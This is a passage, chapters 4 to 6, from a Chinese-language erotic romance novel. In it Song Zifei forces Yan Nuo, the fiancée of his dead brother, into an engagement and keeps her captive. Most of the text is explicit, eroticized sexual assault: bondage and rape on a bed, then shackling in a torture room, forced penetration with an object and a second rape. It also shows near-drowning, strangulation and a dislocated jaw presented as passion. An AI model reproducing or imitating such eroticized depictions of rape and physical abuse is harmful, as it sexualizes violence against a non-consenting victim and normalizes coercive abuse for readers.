轻松钳制住,他执拗邪恶的舌尖,毫不怜惜地撬开我密合的齿缝,入侵我的唇腔,
尽情吸吮着。我狠狠地怒视着他,鲜红的血液自两人的嘴角流下,不知道是他的
还是我的,亦或是两人的。
Chapter.4 对于眼前的这个男人,我是恨之入骨。想不到他这么残忍,居然
连自己的亲生哥哥都能够杀害,我不禁感叹他的冷血。唇腔中还残留着彼此的血
腥味,我极力想要消除着令人作呕的气味。想及此,我亦毫无形象地就势狂呕起
来,我感觉自己的胆汁都快要一并倾泄出来。
宋子非则站在一旁双手环抱于胸,冷眼旁观地看着我,眼神中透露着一种我
说不清楚的笑意,就好象是仿佛在观看一个小丑般地看着我。我用手背往嘴上抹
了一抹,把残留在唇角的污秽清理掉。
我站起身,摸索着随身的手提包,打开并从里面拿出钱包,从中取出一踏整
齐的大钞,“清洁费。”把它们随意地扔在了一边。
我在7 岁那年第一次进入戟堡,在被一群随便拉一个都比我强上几百倍的人
反复地进行搓搓揉揉,最终搞得我一身的红肿生痛时开始,我便有了洁癖。
宋子非根本没有理会我的行为,反而径直走到我面前,把我打横抱起,大步
迈出了房门。
“放开我。”我恼怒地看着他,如果可以的话,我相信我现在就会杀了他。
“听到没有,我叫你放开我。”我开始拳脚相加地颠簸开来,可是他的力道
之大,我无非是在徒劳。
他抱着我一直向外走去,漆黑的夜晚,四周一片寂静。透着月光微微的影射,
我这才发现这里的房屋设计极其日式化。他把我带向了庭院的另一边——温泉池。
“你想要干什么?”我有点惊慌失措地看着他,不明所以他的举动。谁知他
却一把把我扔进温泉池内,天哪,我身上穿的可是上万块的衣服啊,虽然我对此
并不十分在意,但是让我介意的是我在毫无预警的情况隔着衣服就被浸了个湿透,
感觉实在不是很好。
我猛地从水里窜出,双手抚上脸,把浸湿了的不规则贴在我脸上的头发摞向
耳后,“神经病。”嘴里还不忘咒骂一声。还没回过神来,就见他也已没入了池
中。拔腿就想移至岸边,奈何温泉水的阻力不小,动作极其艰难。不到几步,便
已被宋子非伸手抓住。
“你……”还没等我来得及开口说话,他竟然把我整个人按入了水中,一只
手紧紧地禁锢着我的双手,另一只手则猛压着我的头,不让我有喘息的机会。
只是突然感到,呼吸异常困难,张嘴想要吸收点新鲜空气,换来的却是无情
的水流涌入口鼻。全身的细胞都在叫嚣着,不可否认,我在害怕,害怕自己会死
掉。我开始奋力颠簸地挣扎着,想要挣脱他的钳制,却丝毫没有作用。然,就在
我的意识开始渐渐涣散之时,他亦适时地把我抽离了水面。
“咳……咳咳……”我咳嗽,猛烈的,难受的,痛苦的,象是要把五脏六腑
都给咳出来般,眼里擒满了泪水。我不知道里面的成分有多少是对死亡的恐惧,
但是我想肯定不会少。
宋子非就象不干自己的事般在一旁看着我,俨然一副君王的样子。他的这种
神情让我嗤之以鼻,很想冲上去扁他一顿,却奈何身体不受控制。
“不要妄想反抗我。”冷冷地冒出一句话。
TMD ,你以为你是谁,敢命令我。我狠狠地瞪着他,宋子非,我定会让你为
此付出代价的。不为自己,为的是宋子文,我一生的爱人。
* * *
最近,老爷子已经好久没有露过面了。虽说同住在一个屋檐下,平常一天也
见不到一次面,但是这次我却将近半个月没见着他老人家了。我不知道神龙那边
到底发生了什么事情,不过想来一定很棘手。
早上,我准备出门去公司的时候,终于见到老爷子的车出现在我视线了,停
在了我的面前。我恭恭敬敬地站在一旁,等着老爷子从车上下来。他看了我一眼,
没说什么,便走了进去。
“爷爷。”我唤道。
“什么事?”老爷子停下脚步,没有回头。
“晚上,我有话要和你说。”言下之意是让他晚上呆在家里,不要乱跑。我
是不是很拽?!
“恩。”重又踏出了步伐。
前几天,收到了有关于宋子非的资料,上面却只寥寥数字。熏,属于神龙密
训的杀手组织的头领,精于搜集情报。本并不打算用老爷子这边的人,但是清楚
宋子非决不是什么等闲的人物,想及非一般的人也是没有办法调查出什么来的。
虽说心里早已清楚此次调查绝非易事,可这家伙居然把自己的身家背景搞得
简直就跟张过滤纸似的,比白纸还来得干净。由此可见,宋子非这个人绝对不一
般,连熏对他都无计可施。看来,我得和老爷子做笔交易了。
“爷爷。”老爷子的心情看来似乎不错,在室内花圃里专心修剪他那几株千
年古木。
眉头一皱,搁下手中的修剪刀,向花圃外走去,似乎是对我的突然出现表示
不满。我悻悻然地跟在他后面,来到书房。
“说吧。”老爷子终于开口了。
“我想和您老人家做笔交易。”
“交易?”老爷子似乎很不屑。
“是的。”我很清楚,老爷子绝对很乐意做这笔交易。
“可以,”他看着我,“不过,我的交易条件要改变一下。”
要改交易条件,难道他不要我接手神龙了?那会是什么呢?
“别急,”似乎看出了我心中的疑问,“等事成之后我再告诉你。”
“爷爷,”我马上恢复镇定,还略带一种撒娇的语气,“这好象不太公平吧。”
我哪晓得这老狐狸葫芦里到底卖的是什么药,万一搞得不好,什么时候载在
他手里都不知道。
“那算了,我们就当没这回事。”够狠,居然来这一招。
“我知道了。”我几乎是咬牙切齿地说道。姜还是老的辣,一下子就把我牢
牢地吃死了。
“呵呵……”老奸巨滑,“说吧,我的乖孙女,你要我怎么帮你。”
“我要你协助我,在半个月之内把文远归到戟氏名下。”文远虽不是出自宋
子文之后,但却是他这几年的心血。
* * * 老爷子果然言而有信,然而事情也进行得出奇顺利,让人不禁会产生
怀疑。对于宋子非,我从不打算用什么正当手法,我只求结果。半个月期限一到,
文远易主。我不知道老爷子的条件究竟是什么,我亦不想去做无用功的猜测,时
机一到,自然会有人告诉我。
果不其然,今晚老爷子约我在“凯伦”见面,是戟氏名下的五星级酒点。我
到了那里的时候,老爷子已经到了。
“小诺,来了啊。”老爷子今天笑得特别欢,丝毫看不见以往的那种威严。
不知道的人,认为这叫慈祥,知道的人,就认定这是所谓的笑里藏刀。
“爷爷。”我不知道他葫芦里卖的到底是什么药,还是处处小心为妙。
“事情都已经完成了吗?”
“是的,明天会召开记者会,和文远的董事进行签约仪式。”
“哦,干得不错。”
“爷爷,你可以说出你的交易条件是什么了。”
“呵呵……不急不急,我们先吃饭吧,”我从他的眼神中可以看到,他在盘
算着什么,“等到了明天我自然会让你知道。”
“是的,爷爷。”我的心里感觉到异常地忐忑不安,似乎有什么阴谋在等着
我。
当日,记者会安排在戟氏大楼。数百名的记者聚集在大型会议厅内,宋子非
按时前来签约。他似乎丝毫没有因为文远的事情而受到影响,还是如之前一样沉
着冷静。他看着我,以一种高深莫测的眼神。我感到一种前所未有的恐慌,我可
以很肯定地感觉到。我不知道签约仪式是何时完成的,惶惶忽忽,因为我的心里
面一直在等着宋子非开口。
“我将与戟氏总裁言诺小姐在下个月订婚,而我的未婚妻也会在背后全力地
支持我接管戟氏。”宋子非终于开口了,并且深情款款地看着我,,让我不禁感
叹,演技还真不赖嘛。
对此,我没有做任何反驳,因为我知道这只是徒劳,我只是狠狠地看着他,
眼神里充满着怨怒。然,以外人的角度来看,看到的却是我们在深情互望。突然,
他揽住我的腰,紧紧地,不容我反抗。倾身,霸道强势的吻展露无疑。
场下一片哗然,我听到相机“咔嚓……咔嚓……”的声音,镁光灯一直在闪
个不停。
无庸置疑,我被老爷子和宋子非联手算计了。我知道,他们两个人肯定在某
方面达成了共识。要对付他们两个,对于我来简直就是天方夜谭。所以,我准备
乘今晚的飞机到国外去,也就是所谓的落单潜逃。
我没有事先预定机票,我的打算是到了机场后,看是哪班在最近的时间内起
飞的飞机有空余的位置,就近上哪班。想必以戟家的势力,很快就能查到我的下
落,所以我要临时出动,这样被抓的可能性似乎要小一点,安全性也颇高一点。
我带着从取款机里取出的足够现金,行色匆匆地赶到机场。想来,到了国外,
我是不敢冒险使用信用卡的,因为这随时都能泄露我的行踪。然而,我的运气似
乎不错,十五分钟后就便有一班飞往圣彼得堡的飞机即将要登机起飞。
我神色紧张地坐在候机厅内,心里默默地倒数着时间的快点到来。我感觉到
自己的双手紧紧地捏握成拳,手心里都是汗。
十 .九 .八 .七 .六 .五 .四 .三 .二 .一 .零……
广播室里的小姐甜美的声音也在同时适时地响起,“各位旅客请注意……”
我抓起随身携带的手提包,疾步向登机入口方向走去。正当我暗自庆幸自己
即将成功时,一阵如鬼魅般低沉且带有磁性的声音响起,瞬间摧毁了我的全部希
望。
“我们的订婚仪式还没有举行呢,我的诺诺,你这是想要去哪里呢?”
Chapter.5 黑色的宾士车内一片死寂,弥漫着令人窒息的气息。我只感到自
己的全身一片僵硬,心底一片冰寒。一双如鹰般犀利的眼神一直紧紧地锁定着我,
让我坐如针毡,感觉实在是不好受,而罪魁祸首却只字未提。现在的我就犹如待
宰的羔羊般等待着宋子非的下手。
宋子非并没有直接把我送回戟堡,而是把我带回了他住的地方,那座很日式
化的宅抵。
“宋先生,你载错地方了。”我打破了沉默。
“从今天开始,你就住在这里。”他却不以为然。
“这里不是我的家。”戟堡也不是。转身欲走,却被他一把抓住,好些生痛,
这人难道就不懂得什么叫怜香惜玉吗?我转头怒瞪他。
“现在起,这里就是你的家。”宋子非一把把我拉到他的身前,在我的耳边
轻声说道,“我们就要订婚了。”
“做你的春秋大梦去吧,”我狠狠地推开他,“我不会和你订婚的。”
“你说什么?”他似乎在隐忍着怒气,整个人开始散发着冰冷的气息。
“我说我不会和你订婚的,”我不怕死的看向他,“你听清楚了没有。”
“是因为这个吗?”他猛得抓起我的左手,意指着无名指上的戒指。
“没错,”我试图甩开他的手,却是徒劳,“我的未婚夫是宋子文。”被你
杀害的大哥。
“是吗?看来我做的还不够彻底啊。”说着,他便妄自想要拔下我的戒指。
我慌了,着实慌了。“你想做什么?”
“我要连根拔起。”他毫不费吹灰之力便将戒指拔下,“关于宋子文的一切。”
将之扔向一旁。
我愤怒地甩开他的手,忙蹲下身,欲找寻被他丢下的戒指。却再次被他一把
拽起,我的力气远不如他,任凭我怎样死命挣扎都无济于事,他几乎是用拖似般
的方式把我拽向了卧室,狠狠地把我往床上一扔。
宋子非开始拉扯,松解自己的衣衫。我不是白目,看着他的举动,我当然知
道接下来将要发生的是什么事情。我慌乱地从床上爬起,往房门方向跑去,想要
逃离他。却再一次重重地被他扔回到床上。
黑色的丝绸被单透着皎洁的月光,映衬着我惨白的脸色。宋子非欺上我,一
双修长结实的臂膀置于我的两侧,把我紧紧地锁在他的身下,介于他和床之间。
他的唇肆虐地覆在我的唇上,执拗邪恶的舌尖,慢慢地撬开我密合的齿缝,
入侵我的唇腔。我妄想挣脱他,开始剧烈地挣扎,可他却不及我的反抗,反手抓
住我的双手,高举过头,定定地锁住。随后,又伸出另一只手握住我的丰盈,毫
不留情地揉捏起来。他吻咬着我的耳垂,脖颈,异常霸道。嘴唇添吻着我的锁骨,
慢慢沿路下移,隔着衣衫舔吻着我的酥胸。我感到一阵敏感的颤栗,只觉得浑身
酥软。双腿也开始不安地颠簸开来,狂怒地叫骂着,“宋子非,你他妈的放开我。”
宋子非丝毫不予理会我,开始撕扯着我的衣物。感觉到他不容置疑的强势,
我更加奋力地开始捶打脚踢,嘴里一直叫喊着让他放开我。对于我无所不用其极
的反抗,宋子非拉扯下自己的领带,把它绕在我的手腕上,绑了起来。随即俯身
压制住我,一把撕扯下我已近半裸的衣衫,解开身后胸衣的环扣,褪下。上半身
毫不忌讳地完美呈现在他的眼前,我从他的眼里看到了强烈的欲火。明显感到身
上的他的两胯间已经蓬起的欲望。他的一只手开始继续揉捏我的丰胸,两根手指
夹捏住我粉红色的蓓蕾,他的口则含住了我的另一边,粗暴地吸吮着,啃咬着我
的蓓蕾。
“恩……啊……啊……”我毫不自知地呻吟出声。
“这么快就有感觉了?!”宋子非似笑非笑地说着,他的手渐渐下移,撩起
我的衣裙推至腰际处。另一只手则更加肆虐地捏柔拉扯着我的丰盈。
我恼怒地撇过头,没有回答他,贝赤紧咬着已被吻得微肿的下唇,极力控制
着自己,不让自己再次呻吟出声。他把我的底裤撩拨开来,略显粗糙的手指伸向
我的私处,忽轻忽重地摩擦着我的幽密地带,揉捏着我的花瓣,撞击着我的花核,
异样的感官刺激冲击着我的心智,我感觉到自己的下体开始越来越湿润了。我僵
硬地绷直了身体,克制着不去理会他的逗弄。而他却猛得撕碎了我的底裤,接着
抬身抓住我的脚踝向两边一拉。
“啊……”我惊慌无措地看着他的这一举动,私处就这样暴露在一个男人的
面前,双腿也被禁锢住。我极力地扭动着自己的身肢,看似却只是淫荡的表现。
他看着我,俊美的脸庞展露出一种似乎已经达到了预想效果的表情。下一秒,
他便俯下了身去,他的唇开始侵入我的私处。
“啊……恩……啊……”一股电流袭上心头,全身的感官都感觉到一阵强烈
的酥麻。他的舌尖在我最隐秘的地方舔着,刺探着,想要更加的深入我。我的身
体似乎已不再是自己的,开始不受控制地抽搐,禁脔。
原本揉捏着我私处的手指移去一根转瞬插进了我的甬道,突如其来的紧瑟让
我浑身僵硬紧绷,一阵强烈的快感也让我夹紧了下体内的手指。感受到我的紧窒,
随着一声轻笑,他将手指插的更深了些,开始不规则地律动起来,小腹涌过一阵
阵热潮,“啊……住手,啊……宋子非,你这个混蛋,恩……快住手,呃……”
我无法抑制着自己的情绪开始叫喊着。可随之而来,却是抽动中的手指又加
进了一根,“呃……恩……恩……”更加强烈的情欲正在一步一步地吞噬着我,
我感到自己的理智已经将要被推至疯狂的边缘,我的双手紧抓着床单,呼吸急促,
眼神迷乱地看着他。我感到他灼热的坚挺更加坚挺,正抵在我的腿侧。我全身难
耐地早已经在不知不觉间向上弓起,以感受插入甬道的两根手指,余下的三根手
指中有两跟手指继续揉捏着我早已红肿的花瓣,大拇指则撞击着我的花核。
“想要吗?”他的手指停止了抽动,随即便抽出了甬道的手指,将早已经粘
满了爱液的手移至我的面前,“嗯?!”
突然抽离的手指让我感到一阵难耐的空虚感,不自觉开始地将下身弓向他,
精神涣散,全身的感官都在诉说着自己的渴望。
宋子非把粘满了爱液的手抹在了我的酥胸前,魅惑道,“诺诺,想要我吗?”
甬道内早已春潮泛滥,爱液也早就开始溜个不停,我感觉到自己的臀下早已
湿成一片,濒临绝望的快感让我不能自持。
“宋子非,你这个混……蛋。”我呻吟地叫嚣着,“啊……”感觉到下体突
如其来的异物侵入我的身体,随即快而猛地一插到底,从而开始抽插起来,既深
又快。
爱液随着抽插的动作被带出我的身体,流到我的大腿内侧,滴在了零乱的黑
色的丝绸被单上。力气早已被他抽走,而身体却开始无意识地随着他的推进而摆
动。
“唔……啊啊……啊……嗯……”我呻吟的声音开始慢慢沙哑。包裹着他粗
大男性象征的甬道开始不停的收缩。他的喘息则越来越粗,汗水滴落到了我的胸
脯上。我的精神早就涣散不堪,而抽搐也越来越激烈,致使两人的交合处早已流
成了一片,发出淫靡的啧啧水声。随着不间断的痉挛,快感冲上顶峰。紧接着一
阵急速的抽插,一股股炽热的液体冲流入我的体内。
一切似乎都已经停了下来,我喘息着,全身感到疲惫不堪。趴在身上的宋子
非也在喘息着,渐渐地,直到粗粗的喘息转变为平稳的呼吸,他才把它抽离了我
的身体。然,随着他的抽出,躺在我的身侧,白浊的液体也随之汩汩的流了出来。
全身酸痛不已,没有丝毫的力气。任由自己的双腿无力敞开着,液体倾泻而
下,在身下的黑色丝绸被单上弥漫开来。
深夜,两具赤裸的身体躺卧在一起。不同的是,身旁的男人正熟睡着,一只
修长的手臂压在我的胸前,圈抱着我。而我,却睡意全无,手臂的力量重重地压
制着我,让我感到喘不过气来。我并不清楚这在其中包括的成分到底有多少,但
是我却明白地知道心底深处的那一片冰寒才是让我感到压抑的真正原因。我从没
有象现在这样不屑于自己,即使是幼年时期那些不堪的回忆也没有象现在这样深
深地影响着我。
我轻轻地挪开我胸前的结实臂膀,我不能把宋子非吵醒,应该说是我不敢,
因为我要去找我的订婚戒指。其实我的心里很清楚,现在的我根本就已经没有资
格再拥有它,但是我还是要去找回它,找回那个宋子文在那个浪漫的巴黎“圣心
院”为我带上的戒指,因为只有这样,才能够让我感觉到自己仿佛找到了过去,
那个属于我们的过去。
悄悄地走下床,想要找一件遮蔽物,看到的却只是一地破碎的衣衫,想来还
是做罢吧。
透明的落地窗前,没有,没有,这儿没有,这儿也没有,明明就在这附近的
啊。借着隐隐的月光,我跪在地上焦急地四处摸索着。
“你是在找这个吗?”宋子非全身赤裸地站在我的面前,手里拿着那枚戒指。
我感到自己的全身僵硬,顿时一片冰冷,连指尖都已失去温度,“求求你,
把它给我。”我恳求道。
“给你?!”宋子非冰冷绝美的脸庞在月光的映衬下更显突兀,他的眼眸呈
现出浓郁的幽深。
“求求你。”我向他伸出手,再次恳求道,奢望着他能够还给我。
“可以,”他看着我,丝毫不挂的身体,眼神中充斥着灼热的欲望,一步一
步向我逼近,“不过你要先满足我。”
紧接着,他的唇狂热地覆上我的唇,我的背紧紧地贴在冰凉的落地窗前……
Chapter.6 从那之后,宋子非的另一个身份就是正式成为了戟氏的董事,我
亦无力反抗。他的办公室就安排在我的对面,18楼的最顶层。每天,他都会和我
一起到公司,中午一起吃午餐,晚上一起离开公司。俨然一对热恋中的情侣,不,
应该是未婚夫妻。人,看到的永远也只能是表面上的假象,却难以见到实质的东
西。就象在外人眼里,他对我体贴入微,可是到了晚上,我便成为了他的禁脔。
“我的诺诺,”望着斜旎在办公室室门口的宋子非,“午餐时间到了。”俨
然一副深深疼爱着未婚妻的表情,看了不禁让人作呕。
然,不可否认,他是优秀的,至少他的皮相会让许多女性为之倾倒。深邃的
五官,浓眉,挺直的鼻梁,略薄却极之性感的唇,加之一双如鹰般锐利的眼睛。
使得他原本英俊绝美的脸庞更增添了一份睿智。可,谁又知他的内心却是无
比地残忍呢。
我恨他,恨之入骨,可我却无能为力。论智力,我是他的手下败将,更甚之,
在他眼里,我根本就没有资格做他的对手;论势力,我就象是他手中的玩物,随
时都等着他把我捻死。
他轻柔地楼着我的腰,在全公司职员的注视下来到地下停车场,一路上投来
的是无数双羡慕的眼神,让我不禁感到可笑之至。在这背后,谁又知道他轻楼在
我腰间的手劲有多大呢,这无疑是他在无声地提醒着我,不要忘了自己的本分。
我狠狠地甩开他的手,愤懑地瞪着他。我知道,我的腰际已经沾染上了五个
深深的手指印。他弄疼我了,着实弄疼我了。可他却仍悠闲地替我打开车门,待
我坐定后,替我扣好安全带。
我万万没想到他会来这么一出戏,让我一时之间呆若木鸡,感到不知所措。
他居然在这隶属全市最豪华的法国餐厅,当着全餐厅的人,当然亦都是些有
头有脸的人的面向我求婚。
望着单膝跪在我面前的宋子非,莫名地让我在不知不觉间产生了一种错觉。
子文,是你吗?一直以来,不是没有幻想过子文对我的求婚形式会是怎么样
的。然,可笑地是,物是人非,我已经永远都等不到这一刻的到来了。
我怔怔地望着眼前的这个人,他的眼神,没有子文望着我时的温柔,怜爱。
对,他是宋子非,不是宋子文。他眼神中释放出的是一种危险。我知道,他
正在等着我开口,着我开口说出他想要的那个答案。而他的眉宇之间,淡淡地轻
微褶皱,显现出他已经开始等得不耐烦了。
我微笑地接过他手中的那束娇艳动人的红玫瑰,十足一副正沉浸在幸福时刻
的表情,柔声道:“我愿意。”
刹时,全场一片喧哗,掌声如雷贯耳。却让我觉得他们的存在是如此地碍眼,
周召的一切声音是如此地刺耳。
然,宋子非却是一副玩味的表情,望着我的眼里是一股嘲笑的姿态。
“不过,子非。”我缓缓道,“我们可否先等举行完了订婚仪式后,再商议
我们结婚的事宜呢?”
我知道,在外人眼里,宋子非是深深地爱着他的未婚妻,对于我的要求,一
向都会大度地表示赞同,体贴入微。这不禁让我庆幸,他平时做足的表面工夫。
我看到他眼底那一闪而过的危险气息,我知道这是他在盛怒前的表现。随即,
他修长的双臂却圈住我,一只手环上我细嫩柔滑的脖颈,轻柔地啄了下我的樱唇。
“一切都听你的,”眼底呈现出的是无限的柔情,“我的宝贝。”
那令人反感至极的刺耳喧哗再度响起。宋子非,不得不恭喜你,你“人面兽
心”的形象又再次更进一步地得到了巩固。
然,知道吗?宋子非,你TMD 混蛋,你弄疼我了。
我人生中的第二场订婚仪式,亦没有再经过老爷子之手,因此也庆幸其少了
先前的奢华和繁琐。仪式的举行极其简单却又不失隆重,来参加订婚仪式的也都
是些政。商两界举足轻重的人物,其重要性绝不容小窥。显然,宋子非要比老爷
子聪明的多。所谓东西并不是在于多,而是在于精,就正好体现在这里了。而其
中让我感到大为吃惊的是日本最具势力的黑道组织“夜王”的咲夜凉居然也来了,
“夜王”是日本最具势力的黑道组织,其父亲咲夜氷河则是“夜王”的龙头老大。
我不知道宋子非和他们到底是什么关系,不过明眼人都看得出他们之间的关
系绝不寻常。
我木讷地坐在那儿,可脸上却挂着那该死的微笑。我知道,现在我最需要扮
演的就是一个乖巧温顺的未婚妻形象。眼前的宋子非无疑是全场的焦点,一身合
体的纯手工制作的精致燕尾服,突现出他修长而挺拔的身材。
* * * 一天的做秀时间让我感到疲惫不堪,紧闭着双眼,一条手臂搭在自己
的额上,懒散地躺在足够躺4.5 个人的意大利特制豪华大床上。
知道自己在做什么吗?自问道。可笑的是,我当然知道。我正在一步一步,
慢慢地背叛着宋子文。
一滴眼泪滑落脸庞,于撑在额上的手臂间流泻而下。
“怎么?和我订婚就这么让你感到痛苦吗?”一只手温柔的替我拂去脸颊上
的泪水,仿佛似在怜惜着一件他的珍宝般。
我起身,面无表情地大力挥甩开他的手。我知道自己现在的样子有多狼狈,
双眼红肿,眼眶中还擒满着还未擦净的泪水。可就在那一瞬间,我却看到了那根
本永远都不可能会属于他的柔情和悲悯。
呵呵,该死的泪水,使得我的双眼视线在那短暂的一刻模糊不清,伸出手胡
乱地往脸上抹去。
没错,这才是对的,这种表情才适合宋子非。满脸的不屑,讥讽,嘲弄以及
夹杂着些许被我拒绝的盛怒。
他逼近我,伸手大力地捏住我的下巴,似要把之捏碎吧。我吃痛地微微皱起
眉头,泪水再次不知所措地盈上眼眶。
“收起你那令人作呕的表情。”宋子非嫌恶地看着我,狠狠地把我抛向那精
致的豪华大床上。
“哈哈,”我大笑道,可那里面却夹杂着太多的不甘和愤怒,“对于搽荼了
你宋二少的眼睛,我只能说抱歉。”
“你……”宋子非现在的表情真的很搞笑,估计没有人会想到行事作风心狠
手辣,不择手段的堂堂戟氏的董事,居然会如此地不知道收敛自己的情绪吧。
“我记得我曾经告诉过你的,”他欺身压上我,“不要企图妄想反抗,这对
你没有好处。”
我眨巴着眼睛,无辜地看着他。摆明了是在告诉我不知道他所指何事,可是
做戏的效果却不佳。
“你做过什么,你自己心里有数。”宋子非毫不留情地揭穿了我的把戏,
“记住我的话,下次就不会这么轻易地就被纵容了。”
“请不要说这些让人觉得可笑的笑话,”我可不记得你什么时候纵容过我了,
“宋先生。”
“是吗?”宋子非的眼中忽闪过一丝残忍,“看来,这些日子以来的调教还
没有让我的小猫学会如何取悦自己的主人啊,这可不行的哦。”温柔地轻抚着我
的发丝,“还有,我可是很喜欢听着从你那诱人的双唇间吐出的‘子非’哦。”
说罢,便狠狠地抓起我的头发,把我从床上拽起,连拖带爬地把我拉出了卧
室。
* * * 这里是哪里?为什么这里会有这种地方,它就像一间封闭的密室般,
除了一扇沉闷厚实的墙门外,四面都是墙壁,黑暗而诡异,让人不禁不寒而栗。
待我适应了室内的昏暗光线之后,满室的刑具和一些我不知名的东西让我开
始不住地颤抖,我惊恐地试图转身看向宋子非,他想干什么?
然,宋子非却邪魅地用手定住了我的脖颈,阻止了我的转身。耳畔边响起他
低沉而又充满磁性的声音,“不知道过了今晚,我是否有那能耐把你这只磨人的
小野猫调教温顺呢?”
我开始惊慌地不住摇头,四肢开始不安分地奋力挣扎起来。再傻的人都听得
出来他将要如何对付我。
宋子非丝毫不顾我的奋力反抗,轻而易举地便将我扔向这里唯一的一张木床
上,白色的床单就犹如病院里般地让人感到刺目。
“你想干什么?”原来我已经害怕到了这种地步,声音中夹带着强烈的哭腔
和不间断的瑟缩。
慢慢地,节节后退,向床头靠近,“放开我……你放开我……”宋子非抓住
我不断向前挥舞的双臂,紧紧地扣住。
“嘘,不要叫,我的小猫咪。”眼里盛满的是一种让人恐惧不已的愤怒神情。
此时,则狰狞不已。
我的双手分别被他牢牢地禁锢在木床的两侧,只听“嚓,嚓”几声,我发现
自己的双手上已经被扣上铁环。
“你说,”把我因极力挣扎而散乱在脸旁的的长发摞顺,“这会是你第一次,
也是最后一次来这里吗?”轻柔地说道,可却犹如地狱里魔音般。而他,便是那
恶魔撒旦。
瞬即,一把撕裂了我身上的礼服,由于礼服本身就有着裹胸设计,于是这么
一扯,我全身上下便只剩一条底裤。然,最终也逃不过他的魔掌,转眼间就已成
为一片碎布。
我全身赤裸地呈现在他的面前。以前,不是没有被他羞辱过,可却从没有象
今天这般地极端过。令我不禁生畏地夹紧双腿,以掩盖暴露在他面前的私处。
宋子非毫不怜惜地用力分开我的双腿,探身到双腿间,我感觉到他用手指无
情地拨开我的花瓣,玩弄着中间的阴核。在本就干涩的甬道内穿梭不已。
我一直在不断地扭动着我的身体和挣扎着我的双腿,想着试图把他的魔掌可
以推搡出去,可是却只是徒劳而已。甬道的干涩随着手指的不断穿梭,让我犹如
下体要被撕裂般地疼痛不已。
随即,他腾出一只手开始把上我的胸部,肆意地捏握,胸部不断地受着他的
强行攻击,似要把之捏碎般。
“不……住手……”我终究忍受不住他的暴行而不顾一切地大力撕叫着,
“你这个混蛋,快防开我。”
“哼哈……”伴随着一阵冷笑声,宋子非停下了他手中的工作,我以为他终
于发现了自己的兽行,准备放了我。可是我却错了,彻底地错了。要想宋子非良
心发现,停止自己的行为,简直是天大的笑话。因为他根本就不是人。
他迅速地从起身走到床头边,拉开旁边的抽屉,从中拿出一样东西。我不知
道他拿出的是什么东西。待我定睛一看,我整个人都惊呆了,那是什么?不……
不要……
宋子非手中拿着的是一根粗大的暗红色假阳具,上面布满了一粒粒密密麻麻
的凹突物,冷酷的双眼紧紧地盯着我,随即浮现一阵讥笑。
“你想要做什么?”我无力地看着他把那根足足比一般的真性器还要大上一
号的假阳具,置于我的菊花洞边缘,正一点一点地拼命地往我的菊花洞里没入,
“不要……求求你,不要……不要……”我的泪水肆无忌惮地滑落下来,有惊恐,
有无奈,有绝望,然,更多的是愤恨。
“啊…………”犹如天际划破的那一道拂晓般。
我绝望地望着屋内顶端那一片白茫茫的墙壁,宋子非在丝毫没有任何湿润的
情况下,终于一鼓作气地把它强行塞进了我异常干涩的菊花洞内。
随后,后庭被一阵一阵撕裂般地抽插着,我就象是只破碎的了瓷娃娃般任他
摆布着。
忍耐,只要再忍一会儿可以了。没错,我只要忍住,一下子,就一下子,只
要过了这会就会好的,我不断地在脑海里喃喃自语,似是在安慰自己般。
可是无情的摧残终究是没有终止的,宋子非一把扯起我的头发,让我被迫地
抬起头往向他。
“不要跟个死人般地毫无反应,”他面无表情地望着我,冷冷地说道,“我
可不喜欢和个死尸做爱。”随即,他残酷地把他那男性器具插入了我的花穴内,
撕裂般的痛楚再次袭上心头。
可是,渐渐地,我却似乎已经开始慢慢地感觉不到任何疼痛和激情,只不过
意识力在慢慢地流散着,仿佛不是自己的那般,黑色的,空洞洞的,我的心里已
经感觉不到什么了。
他开始不断地在我体内疯狂的冲刺,在我的甬道内残忍地抽插着,伴随着后
庭内的那一根一起深深地,激烈地摧残着我早已伤痕累累的残破身体。
痛楚渐渐地抽离,意识浮上半空,一片昏天暗地。朦胧间,再也没有知觉的,
我跌入了一片沉重的黑暗之中,沉闷的,无穷无尽的黑暗,似是永远无法逃离的
桎梏的深渊般……
* * *
意识开始渐渐地恢复,恍惚间,感到全身洋溢着舒适的触感,温和的水缓缓
地流过她的背。
困惑地睁开朦胧的双眼,方才看到原谅身体正浸润在注满了温和热水足够几
人使用的白瓷浴缸里。我清楚地知道身后圈抱着我的人是谁。长及腰际的乌黑头
发被一双宽大而有力的手细心地清洗着,犹如是在对待一个瓷娃娃般的细心呵护
着我。
“累吗?”诱惑的声音,温和而细腻。
对于这个可笑的问题,我无言以对,只能保持沉默,亦没有丝毫反应。
然,似乎我的行为又激怒了他,他温暖的手开始在我的肩膀附近的肌肤上来
回地摩挲着,最后来到我白皙纤细的脖颈周围。
渐渐地,缓缓地,一点一点,慢慢地收紧……
我无力再做任何的反抗,死对于我来说也是一种解脱,任由着他的双手紧紧
地圈着我的脖颈。就在我觉得自己似乎已经快要得到解脱时,宋子非却突然松了
手。
“咳……咳……”对于突如其来的松手,我变得极其地不适应,开始剧烈的
咳嗽,似要把心肺都咳出来般,“咳咳……咳……”
“怎么?你就这么想摆脱我,不惜以死来得到解脱。”宋子非毫不怜惜地一
把抓起我的长发,难以抑制的愤怒浮现在他的脸上,“告诉你,我不会遂你愿的。”
猛地,宋子非将我的头摁进了温热的水里。
好难受……我感到自己快要不能呼吸了,无情的水肆意地呛进了我的呼吸道。
我的双手开始无意识地挣扎反抗着,想要扳开劲脖的钳制,我在水里开始剧
烈地咳嗽着。我在水里剧烈地咳嗽着,我的意思又开始渐渐模糊了。
最后,钳制着我的双手终于带离我抽出了水面,我开始迅速地想要抬头呼吸
着新鲜的空气。可那该死的宋子非偏不遂我愿,他猛地从浴缸中站起身,紧紧扣
住我的下颚强硬地把我的脸庞偏转向他。
宋子非修长有力的手轻轻地抚过我的额,我的眼,我的鼻,一步一步,最后
来到我的唇畔,描绘着我的唇线,紧接着牢牢地固定住我的下巴,下颚被无情地
脱了开来。突如其来的痛楚让我眼睛一酸,闭上了双眼,以阻止即将要涌出眼眶
的泪水,估计是关节已经脱臼了吧。
“你恨我吧?”虽说是以询问的口气说着,可是却是肯定的语气。
我仍旧以最痛苦的方式被迫地仰视着他,企图睁开双眼望向他。没错,我恨
他,我恨他到想要杀了他,确切地说是我想要一刀一刀地刺向他,直到他的血流
干,流净为止。
然,当我睁开双眼的那一瞬间,我无措地看到隐藏在他眼底深处的那抹悲伤,
痛楚以及绝望。我是多么极力地渴望自己只是一时地看错了,象他这种残酷无情
的人是永远都不会出现这种神情的。但是我知道我的希望终究无法达成的,因为
我确确实实,真真切切地见到了,我亦无能,也无法抹去自己看到的那一切。
